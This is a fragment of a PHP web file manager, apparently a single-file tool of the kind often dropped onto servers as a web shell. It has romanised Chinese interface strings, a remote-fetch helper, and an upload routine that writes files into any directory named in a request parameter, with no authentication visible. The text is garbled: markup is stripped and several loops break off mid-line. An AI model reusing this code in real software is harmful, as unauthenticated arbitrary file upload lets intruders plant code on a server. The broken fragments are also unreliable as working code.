.checked=false;coll.parentNode.parentNode.style.backgroundColor='';}}}}"
."
\n"."
."
\n"."
\n"."
\n"."
\n".$qx
."
";if($_SESSION['folder']!="./" and $_SESSION['folder']!="/"){
$last = (substr($_SESSION['folder'],0,1)=='/')?explode('/', substr($_SESSION['folder'],1,-1)):explode('/', substr($_SESSION['folder'],2,-1));
$back = (substr($_SESSION['folder'],0,1)=='/')?'':substr($_SESSION['folder'],0,1);
array_pop($last);
foreach ($last as $value) {
$back = $back.'/'.$value;
}
if($os=='windows')$qx="";else $qx="
";echo "
shangji$xx";}
for ($a=1; $a
for ($b=1; $b
echo "
";echo "";
}
function gettime($filename){return "a:".date("Y-m-d H:i:s",filemtime($filename))."\n"."b:".date("Y-m-d H:i:s",filectime($filename));}
function uCode($text){return mb_convert_encoding($text,'UTF-8','GBK');}
function gCode($text){return mb_convert_encoding($text,'GBK','UTF-8');}
function dirSize($directoty){
$dir_size=0;
if($dir_handle=opendir($directoty))
{
while($filename=readdir($dir_handle)){
$subFile=$directoty.DIRECTORY_SEPARATOR.$filename;
if($filename=='.'||$filename=='..'){
continue;
}elseif (is_dir($subFile))
{
$dir_size+=dirSize($subFile);
}elseif (is_file($subFile)){
$dir_size+=filesize($subFile);
}
}
closedir($dir_handle);
}
return ($dir_size);
}
function Size($size) {
$sz = ' kMGTP';
$factor = floor((strlen($size) - 1) / 3);
return ($size>=1024)?sprintf("%.2f", $size / pow(1024, $factor)) . @$sz[$factor]:$size;
}
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$r = curl_exec($ch);
curl_close($ch);
return $r;
}
function up() {
global $meurl, $folder;
maintop("shangchuan");
echo "
\n"."
."
echo "
."
\n"
.""
."
\n";}
function upload($upfile,$ndir,$unzip,$delzip) {
global $meurl, $folder;
if(empty($ndir)){
$ndir="./";
}
$nfolder = $folder;
$nndir = $ndir;
$ndir = gCode($ndir);
if (!$upfile) {
printerror("wenjian");
exit;
}elseif($upfile) {
maintop("shangchuan");
if (!file_exists($ndir)){
mkdir($ndir, 0755);
}
$i = 1;
echo "
\n";echo '';
while (count($upfile['name']) >= $i){
$dir = gCode($nndir.$upfile['name'][$i-1]);
if(copy($upfile['tmp_name'][$i-1],$dir)) {
echo "wenjian ".$nndir.$upfile['name'][$i-1]." cheng\n";
$end = explode('.', $upfile['name'][$i-1]);
}else{
echo("wenjian ".$upfile['name'][$i-1]." shi\n");
}
$i++;
}
echo '';
}else{
printerror("wenjian");
}
}
switch($op) {
case "home":
home();
break;
case "up":
up();
break;
case "upload":
if(!isset($_FILES['upfile'])){
printerror('wenjian!');
}elseif(isset($_REQUEST['ndir'])){
upload($_FILES['upfile'], $_REQUEST['ndir'], $_REQUEST['unzip'] ,$_REQUEST['delzip']);
}else{
upload($_FILES['upfile'], './', $_REQUEST['unzip'] ,$_REQUEST['delzip']);
}
break;
default:
home();
break;
}
?>